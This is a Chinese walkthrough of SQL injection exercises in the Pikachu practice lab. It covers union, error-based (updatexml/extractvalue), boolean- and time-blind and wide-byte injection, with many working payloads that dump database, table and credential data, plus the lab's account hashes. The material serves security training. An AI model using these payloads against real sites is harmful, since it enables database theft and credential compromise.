【Pikachu】SQL-Inject实战

困难、痛苦、挫折总是接踵而至,这正是世间的常理。要是输了,就只能说明我不过是如此程度的男人。

1.Sql Inject(SQL注入)概述

Sql Inject(SQL注入)概述

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。

一个严重的SQL注入漏洞,可能会直接导致一家公司破产!

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;

2.使用参数化(Parameterized Query 或 Parameterized Statement);

3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

2.数字型注入(post)

由题可知是数字型注入(post)

查看代码,发现代码对id没有做任何过滤

在这里插入图片描述

点击查询抓包,

id=1’ 报错,可判断存在SQL注入

在这里插入图片描述

判断字段数

id=1 order by 3报错

在这里插入图片描述

id=1 order by 2有回显,所以字段数为2

在这里插入图片描述

判断回显点,可以在1和2这两处位置,获得我们想要的信息

id=1 union select 1,2

在这里插入图片描述

查看用户名和数据库名,可知用户名为root@localhost,数据库名为pikachu

id=1 union select user(),database()

在这里插入图片描述

查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind

id=1 union select 1,goup_concat(table_name) from information_schema.tables where table_schema=‘pikachu’

在这里插入图片描述

查询数据表users中的字段

USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’

在这里插入图片描述

查询字段username和password的内容

id=1 union select group_concat(username),group_concat(password) from users

在这里插入图片描述

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

3.字符型注入(get)

由题可知是字符型注入(get),可直接在url中的name参数后进行修改

输入’点击查询,报错,判断存在SQL注入

/vul/sqli/sqli_str.php?name=%27&submit=查询

在这里插入图片描述

可以用-- q对’进行闭合

输入name=’ or 1=1-- q,可查询出所有账户数据

在这里插入图片描述

判断字段数

’ order by 2 – q

有回显

在这里插入图片描述

’ order by 3 – q

报错,所以字段数为2

在这里插入图片描述

判断回显点,可以在1和2这两处位置,获得我们想要的信息

’ union select 1,2 – q

在这里插入图片描述

查看用户名和数据库名,可知用户名为root@localhost,数据库名为pikachu

’ union select user(),database() – q

在这里插入图片描述

查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind

’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’ – q

在这里插入图片描述

查询数据表users中的字段 id,username,password,level,id,username,password

’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ – q

在这里插入图片描述

查询字段username和password的内容

’ union select group_concat(username),group_concat(password) from users – q

在这里插入图片描述

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

4.搜索型注入

由题可知是搜索型注入(get),可直接在url中的name参数后进行修改

输入’点击查询,报错,判断存在SQL注入

/vul/sqli/sqli_str.php?name=%27&submit=查询

在这里插入图片描述

可以用-- q对’进行闭合

输入name=’ or 1=1-- q,可查询出所有账户数据

在这里插入图片描述

判断字段数

’ order by 3 – q

有回显

在这里插入图片描述

’ order by 4 – q

报错,所以字段数为3

在这里插入图片描述

判断回显点,可以在1,2,这三处位置,获得我们想要的信息

’ union select 1,2,3 – q

在这里插入图片描述

中间内容和字符型注入(get)类似,只是多了一个回显点,在此不再赘述

直接查询字段username和password的内容

’ union select 1,group_concat(username),group_concat(password) from users – q

在这里插入图片描述

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

5.xx型注入

输入’报错,此处存在SQL注入漏洞,观察报错信息,出现)

/vul/sqli/sqli_str.php?name=%27&submit=查询

在这里插入图片描述

输入’)-- q,成功闭合

在这里插入图片描述

判断字段数

') order by 2 – q

有回显

在这里插入图片描述

') order by 3 – q

报错,所以字段数为2

在这里插入图片描述

中间内容和字符型注入(get)类似,只是多加一个)进行闭合,在此不再赘述

直接查询字段username和password的内容

') union select group_concat(username),group_concat(password) from users – q

在这里插入图片描述

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

6.insert&update注入

insert/update是插入和更新的意思,这两个场景的注入,post数据包里的每一个参数都可以注入

insert注入

首先在注册的时候抓包分析。

username=’ 报错,可判断存在SQL注入

在这里插入图片描述

本题运用报错注入的方法进行解答

查询用户名root@localhost

username=’ or updatexml(1,concat(0x7e,(select user())),1),1) – q

在这里插入图片描述

查询数据库名pikachu

username=’ or updatexml(1,concat(0x7e,(select database())),1),1) – q

其他payload:

如果用-- q闭合的话,需要多加,1) 如果用or’闭合的话则不需要

可以是concat(0x7e,(select database())) 也可以是concat(0x7e,(select database()),0x7e)

username=’ or updatexml(1,concat(0x7e,(select database())),1)or’

username=’ or updatexml(‘~’,concat(0x7e,(select database())),‘~’)or’

username=’ or updatexml(‘~’,concat(0x7e,(select database())),‘~’),1)-- q

username=’ or updatexml(‘~’,concat(0x7e,(select database()),0x7e),‘~’)or’

在这里插入图片描述

updatexml函数可以替换为extractvalue函数,并且updatexml(1,concat(x),1)中后面的1或者不能去掉,而extractvalue(1,concat(x))中没有后面的1或者

如果用-- q闭合的话,需要多加,1) 如果用or’闭合的话则不需要,注意分情况讨论,具体情况具体分析,多试一试就完事

username=’ and extractvalue(1,concat(0x7e,(select database())))and’

username=’ and extractvalue(1,concat(0x7e,(select database())),1)and’

username=’ and extractvalue(‘~’,concat(0x7e,(select database())))and’

username=’ and extractvalue(1,concat(0x7e,(select database()))),1)-- q

username=’ and extractvalue(‘~’,concat(0x7e,(select database()))),1)-- q

在这里插入图片描述

查询数据库pikachu下的所有表名httpinfo,member,message,users,x发现不能全部显示

username=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),1)or'

在这里插入图片描述

在这一步可以使用left,mid,right来进行分段显示,将得到的信息进行拼接,下图中的22是从右往左显示22个字符,所有表名httpinfo,member,message,users,xssblind

username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or'

在这里插入图片描述

还可以用limit函数逐个读取数据库中的表名

username=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)or'

在这里插入图片描述

查询users表中的字段名id,username,password,level,id,u

username=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)or'

在这里插入图片描述

查询users表中所有的字段名id,username,password,level,id,username,password

username=' or updatexml(1,concat(0x7e,right((select group_concat(column_name) from information_schema.columns where table_name='users'),22)),1)or'

在这里插入图片描述

还可以用limit函数逐个读取users表中的字段名

username=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)or'

在这里插入图片描述

直接查询字段username的内容admin,pikachu,test

username=’ or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or’

在这里插入图片描述

直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取

username=’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or’

在这里插入图片描述

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

update注入

首先利用已知的账号kobe,密码123456登录

点击修改个人信息,点击submit,抓包

sex=’ 报错,可判断存在SQL注入

在这里插入图片描述

中间过程和insert注入类似,只是注入参数变成了sex

直接查询字段username的内容admin,pikachu,test

sex=’ or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or’

在这里插入图片描述

直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取

sex=’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or’

在这里插入图片描述

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

7.delete注入

查看源码,没有对GET参数获取到的id进行任何处理,直接拼接,进行删除

在这里插入图片描述

输入1,点击submit,再点击删除,抓包

修改id=58’,报错,可判断存在SQL注入

在这里插入图片描述

可以直接在url进行操作,查询数据库名pikachu

/vul/sqli/sqli_del.php?id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)

在这里插入图片描述

中间内容和insert&updatexml内容类似,只是不需要闭合单引号,在此不做过多赘述

直接查询字段username的内容admin,pikachu,test

%20or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)

在这里插入图片描述

直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取

%20or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)

在这里插入图片描述

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

8.http header注入

输入admin/123456,点击login登录

通常情况下,页面返回信息有user agent数据的,将http头中的user-agent和accept带入了SQL查询,如果没过滤就会存在http header注入

在这里插入图片描述

刷新页面抓包,Accept也可进行注入

修改User-Agent: ’ 报错,可以判断此处存在SQL注入

在这里插入图片描述

查询数据库名

’ or updatexml(1,concat(0x7e,(select database())),1)or’

在这里插入图片描述

中间过程和insert/update注入一样,只是注入参数修改为User-Agent,在此不再赘述

直接查询字段username的内容admin,pikachu,test

’ or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or’

在这里插入图片描述

直接查询字段passowrd的内容,因为字符数量比较多,所以直接用limit函数读取

’ or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or’

在这里插入图片描述

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

9.盲注(base on boolian)

由题可知是布尔盲注,只会返回True或者False,不会返回报错信息

输入lucy,点击查询,返回True,输入lucy’返回False,说明此处存在SQL注入

在这里插入图片描述

判断当前数据库的长度,大于6不大于7,所以长度为7,可以用burp的intruder

lucy’ and length(database())>7-- q,False

在这里插入图片描述

lucy’ and length(database())>6-- q,True

在这里插入图片描述

判断库名第一个字母为p,True

lucy’ and (substr(database(),1,1))=‘p’-- q

在这里插入图片描述

以此类推,数据库名为pikachu

判断表名第一个表的第一个字母为h,True

lucy’ and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=‘h’-- q

在这里插入图片描述

以此类推,所有表名为httpinfo,member,message,users,xssblind

判断users表中第一个字段的第一个字母是i,True

lucy’ and (substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1,1))=‘i’-- q

在这里插入图片描述

以此类推,所有字段名为id,username,password,level,id,username,password

判断username中第一个内容的第一个字母为a,True

lucy’ and (substr((select username from users limit 0,1),1,1))=‘a’-- q

在这里插入图片描述

以此类推

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

10.盲注(base on time)

由题可知是延时注入

使用sleep()函数:输入

kobe%27+and+sleep%283%29–%20q

页面延时3秒返回,说明此处存在延时注入漏洞

在这里插入图片描述

判断当前数据库名长度为7,页面没有延时,说明数据库长度为7

kobe%27+and sleep(if((length(database())=7),0,3))–%20q

在这里插入图片描述

判断库名第一个字母为p,页面没有延时,说明数据库第一个字母为p

kobe’ and if(substr(database(),1,1)=‘p’,0,sleep(3))-- q

kobe’ and if(ascii(substr(database(),1,1))=ascii(‘p’),0,sleep(3))-- q

kobe’ and sleep(if(ascii(substr(database(),1,1))=ascii(‘p’),0,3))-- q

在这里插入图片描述

以此类推,数据库名为pikachu

判断表名第一个表的第一个字母为h,页面没有延时,说明第一个表的第一个字母为h

kobe' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='h',0,sleep(3))-- q

kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=ascii('h'),0,sleep(3))-- q

kobe' and sleep(if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='h',0,3))-- q

在这里插入图片描述

以此类推,所有表名为httpinfo,member,message,users,xssblind

判断users表中第一个字段的第一个字母是i,页面没有延时,users表中第一个字段的第一个字母是i

kobe’ and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1,1)=‘i’,0,sleep(3))-- q

在这里插入图片描述

以此类推,所有字段名为id,username,password,level,id,username,password

判断username中第一个内容的第一个字母为a,页面没有延时,username中第一个内容的第一个字母为a

kobe’ and if(substr((select username from users limit 0,1),1,1)=‘a’,0,sleep(3))-- q

在这里插入图片描述

以此类推

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

11.宽字节注入

由题可知是宽字节注入,简单来说就是数据库用了GBK编码,\转义了’ ,\的GBK编码是%5c,而%df%5c是一个繁体字“連”,可以输入%df吃掉%5c,此时单引号逃逸就可以发挥作用了

输入kobe%df’ or 1=1-- q,点击查询,抓包,可以查询出所有用户的数据

在这里插入图片描述

pikachu的宽字节靶场无法判断字段数,根据之前的经验,直接进入下一步

判断回显点可以在1和2这两处位置,获得我们想要的信息

kobe%df’ union select 1,2-- q

在这里插入图片描述

中间的过程和字符型(get)注入类似,只是需要%df来逃逸单引号,在此不再赘述

直接查询字段username和password的内容

kobe%df’ union select group_concat(username),group_concat(password) from users – q

在这里插入图片描述

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN: 
https://rdyx0.blog.csdn.net/

公众号:儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/913870.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

VSCode中python插件安装后无法调试

问题 VSCode中python插件安装后无法调试,如下,点击调试,VScode中不报错,也没有调试 解决方法 1、查看配置 打开所在路径 2、拷贝 将整个文件夹拷贝到vscode默认路径下 3、问题解决 再次调试,可以正常使用了…

官方压测工具memtier-benchmark压测redis

1 概述 memtier_benchmark是一种高吞吐量的性能基准测试工具,主要用于Redis和Memcached。它是 Redis官方开发团队开发的,旨在生成各种流量模式,以便测试和优化以上两个数据库的性能。 memtier_benchmark的一些关键特点如下: 多…

海外云手机在出海业务中的优势有哪些?

随着互联网技术的快速发展,海外云手机已在出海电商、海外媒体推广和游戏行业都拥有广泛的应用。对于国内的出海电商企业来说,短视频引流和社交平台推广是带来有效流量的重要手段。借助云手机,企业能够更高效地在新兴社交平台上推广产品和品牌…

kafka 的一些问题,夺命15连问后续

16、kafka是如何做到高效读写 因为kafka本身就是分布式集群,可以采用分区技术,并行度高 读取数据可以采用稀疏索引,可以快速定位要消费的数据(mysql中索引多了以后,写入速度就慢了) 可以顺序写磁盘&#…

Vue Cli 脚手架目录文件介绍

小试牛刀 //vetur高亮; vuetab 快速生成 <template><div class"box">我是个盒子<button click"fn">按钮</button></div> </template><script> export default {methods:{fn(){alert("Hello Vue")}} …

基于springboot的家装平台设计与实现

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下&#xff0c;你想解决的问…

Docker平台搭建方法

Docker平台搭建方法 1.1在VMware中创建两个虚拟机&#xff0c;只需要1个网卡&#xff0c;连接192.168.200.0网络。 虚拟机分配2个CPU,2G内存&#xff0c;60G硬盘&#xff0c;主机名分别为server和client,IP地址分别为192.168.200.137和192.168.200.138。server节点还兼做regis…

cache(二)直接缓存映射

在知乎发现一份不错得学习资料 请教CPU的cache中关于line,block,index等的理解&#xff1f; PPT 地址 https%3A//cs.slu.edu/%7Efritts/CSCI224_S15/schedule/chap6-cache-memory.pptx 课程主页 https://cs.slu.edu/~fritts/CSCI224_S15/schedule/ 0. 缓存定义 这张图展示了缓…

Zookeeper的安装与使用

一、简介 1.1、概念 ZooKeeper 是一个开源的分布式协调服务&#xff0c;主要用于解决分布式系统中的数据一致性问题。它提供了一种可靠的机制来管理和协调分布式系统的各个节点。ZooKeeper 的设计目标是简化分布式应用的开发&#xff0c;提供简单易用的接口和高性能、高稳定性…

SQLI LABS | Less-41 GET-BLIND Based-Intiger-Stacked

关注这个靶场的其它相关笔记&#xff1a;SQLI LABS —— 靶场笔记合集-CSDN博客 0x01&#xff1a;过关流程 输入下面的链接进入靶场&#xff08;如果你的地址和我不一样&#xff0c;按照你本地的环境来&#xff09;&#xff1a; http://localhost/sqli-labs/Less-41/ 本关是堆…

SpringCloud 微服务消息队列灰度方案 (RocketMQ 4.x)

目录 背景遇到的问题 RocketMQ 基础基础消息模型扩展后的消息模型部署模型相关概念点 方案对比影子Topic的方案Tag的方案UserProperty的方案影子Group的方案灰度分区的方案方案对比 灰度分区方案设计适配只有部分灰度的情况所做的功能扩展消费者&#xff08;无灰度&#xff09;…

Simulink对仿真数据进行FFT频谱分析

1 问题引入 在仿真阶段&#xff0c;经常会遇到有些仿真结果的数据需要进行频谱分析&#xff0c;如何快速便捷地操作&#xff0c;这里介绍其中一种简单的方法。主要利用 Simulink 中 Scope 显示的数据进行保存并进行 FFT 频谱分析&#xff0c;按下文操作即可。 2 实战 2.1 将…

Vue前端开发:gsap动画库

gsap它的全称是GreenSock Animation Platform&#xff0c;它是一个功能非常强大的动画平台&#xff0c;它可以对JavaScript操作的所有内容实现动画效果&#xff0c;同时&#xff0c;还解决了不同浏览器中存在的兼容性问题&#xff0c;而且速度和效率都非常快&#xff0c;全球超…

【layui】echart的简单使用

图表类型切换&#xff08;柱形图和折线图相互切换&#xff09; <title>会员数据</title><div class"layui-card layadmin-header"><div class"layui-breadcrumb" lay-filter"breadcrumb"><a lay-href""&g…

[Redis] Redis缓存机制

&#x1f338;个人主页:https://blog.csdn.net/2301_80050796?spm1000.2115.3001.5343 &#x1f3f5;️热门专栏: &#x1f9ca; Java基本语法(97平均质量分)https://blog.csdn.net/2301_80050796/category_12615970.html?spm1001.2014.3001.5482 &#x1f355; Collection与…

绘制3D图

一个 3D 函数的表面图&#xff0c;其中包含向量场。 Python 代码示例&#xff0c;使用 matplotlib 和 numpy 库来绘制类似的图。 python 复制代码 import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D# 生成网格 x np.linspace(-…

【开源免费】基于SpringBoot+Vue.JS课程答疑系统(JAVA毕业设计)

博主说明&#xff1a;本文项目编号 T 070 &#xff0c;文末自助获取源码 \color{red}{T070&#xff0c;文末自助获取源码} T070&#xff0c;文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析…

C#开发流程

注&#xff1a;检查数据库链接 设置搜索 1.新建模块文件夹 对应应用 右键-添加-新建文件夹 2.新建类 在新建模块下右键 新建-类&#xff0c;修改类名称 修改internal为public 新建所需字段&#xff0c;注意类型声明及必填设置 [SugarColumn(IsNullable false)]public strin…

【Transformer】模型输出模块处理

目录 输出处理模块步骤1. 交叉注意力后的输出向量2. 线性变换&#xff08;投影&#xff09;3. Softmax 操作4. 选择最大概率的单词5. 输出词并进入下一轮预测总结&#xff1a; 线性变换详解1. 交叉注意力后的输出向量2. 线性层的参数3. 线性变换的计算4. Softmax 转换为概率示例…

对话流式数据加载

需求&#xff1a;根据接口返回的数据进行类似打字机渲染的效果 使用的fetch 流式处理 fetch(BASE_URL/api/apps/ this.app_Id /chat-messages, {signal: this.controller.signal,method: POST,headers: {Authorization: Bearer localStorage.getItem(token),Content-Type: …